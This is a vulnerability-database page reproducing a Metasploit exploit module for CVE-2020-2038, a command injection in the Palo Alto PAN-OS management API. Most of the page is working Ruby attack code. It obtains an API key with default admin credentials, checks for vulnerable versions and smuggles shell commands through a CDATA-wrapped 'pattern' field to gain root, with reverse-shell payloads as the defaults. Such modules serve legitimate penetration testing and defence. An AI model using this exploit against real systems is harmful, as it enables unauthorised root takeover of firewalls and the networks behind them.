Lucene search
K

Palo Alto Networks Authenticated Remote Code Execution

🗓️ 15 Sep 2022 19:50:55Reported by Mikhail Klyuchnikov, Nikita Abramov, UnD3sc0n0c1d0, jheysel-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 292 Views

Palo Alto Networks Authenticated Remote Code Execution. OS Command Injection vulnerability in the PAN-OS management interface allows admins to execute arbitrary OS commands with root privileges. Impacts PAN-OS versions < 10.0.1, < 9.1.4, < 9.0.10. Exploit Rank: Excellent

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  require 'ipaddr'

  class InvalidRequest < StandardError
  end

  class InvalidResponse < StandardError
  end

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Palo Alto Networks Authenticated Remote Code Execution',
        'Description' => %q{
          An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated
          administrators to execute arbitrary OS commands with root privileges.
          This issue impacts PAN-OS versions < 10.0.1, < 9.1.4 and < 9.0.10
        },
        'Author' => [
          'Mikhail Klyuchnikov', # Vulnerability discovery
          'Nikita Abramov', # Vulnerability discovery
          'UnD3sc0n0c1d0', # Exploit
          'jheysel-r7' # msf module
        ],
        'References' => [
          ['CVE', '2020-2038'],
          ['URL', 'https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/'],
          ['URL', 'https://security.paloaltonetworks.com/CVE-2020-2038'],
          ['URL', 'https://github.com/und3sc0n0c1d0/CVE-2020-2038'] # Exploit
        ],
        'DisclosureDate' => '2020-09-09',
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Privileged' => true,
        'Targets' => [
          [
            'Linux ',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'CmdStagerFlavor' => %i[echo printf],
              'Type' => :linux_dropper,
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Unix In-Memory',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_memory,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [false, 'PAN-OS administrator username', 'admin']),
        OptString.new('PASSWORD', [false, 'Password for username', 'admin'])
      ]
    )
  end

  def check
    print_status('Authenticating...')
    begin
      @api_key = api_key
    rescue InvalidRequest, InvalidResponse => e
      return Exploit::CheckCode::Safe("Error retrieving API key: #{e.class}, #{e}")
    end
    res = send_request_cgi({
      'method' => 'GET',
      'keep_cookies' => true,
      'uri' => normalize_uri(target_uri.path, 'api/'),
      'vars_get' => {
        'type' => 'version',
        'key' => @api_key
      }
    })

    return CheckCode::Unknown('The API did not respond to the request for the version of PAN_OS') unless res&.body

    version = Rex::Version.new(res.get_xml_document.xpath('/response/result/sw-version').text)

    if version >= Rex::Version.new('9.0.0') && version < Rex::Version.new('9.0.10') ||
       version >= Rex::Version.new('9.1.0') && version < Rex::Version.new('9.1.4') ||
       version >= Rex::Version.new('10.0.0') && version < Rex::Version.new('10.0.1')
      return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
    end

    Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
  end

  def api_key
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/'),
      'vars_get' => {
        'type' => 'keygen',
        'user' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    })

    if res.nil?
      raise InvalidRequest, 'Unreachable'
    end

    if res.code == 401
      raise InvalidRequest, 'Server returned HTTP status 401 - Authentication failed'
    end

    if res.code == 403
      raise InvalidRequest, 'Server returned HTTP status 403 - Authentication failed with "Invalid Credentials"'
    end

    if res.body.blank?
      raise InvalidResponse, 'Empty reply from server'
    end

    key = res.get_xml_document.xpath('/response/result/key')&.text

    if key.nil?
      raise InvalidResponse, 'Empty reply from server'
    end

    print_good('Successfully obtained api key')

    key
  end

  def execute_command(cmd, _opts = {})
    payload = "<cms-ping><host>#{IPAddr.new(rand(2**32), Socket::AF_INET)}</host><count>#{rand(1..50)}</count><pattern>111<![CDATA[||#{cmd}||]]></pattern></cms-ping>"
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/'),
      'vars_get' => {
        'cmd' => payload,
        'type' => 'op',
        'key' => @api_key
      }
    })
  end

  def exploit
    begin
      @api_key ||= api_key
    rescue InvalidRequest, InvalidResponse => e
      fail_with(Failure::UnexpectedReply, "Error retrieving API key: #{e}")
    end
    print_status('Exploiting...')
    case target['Type']
    when :unix_memory
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation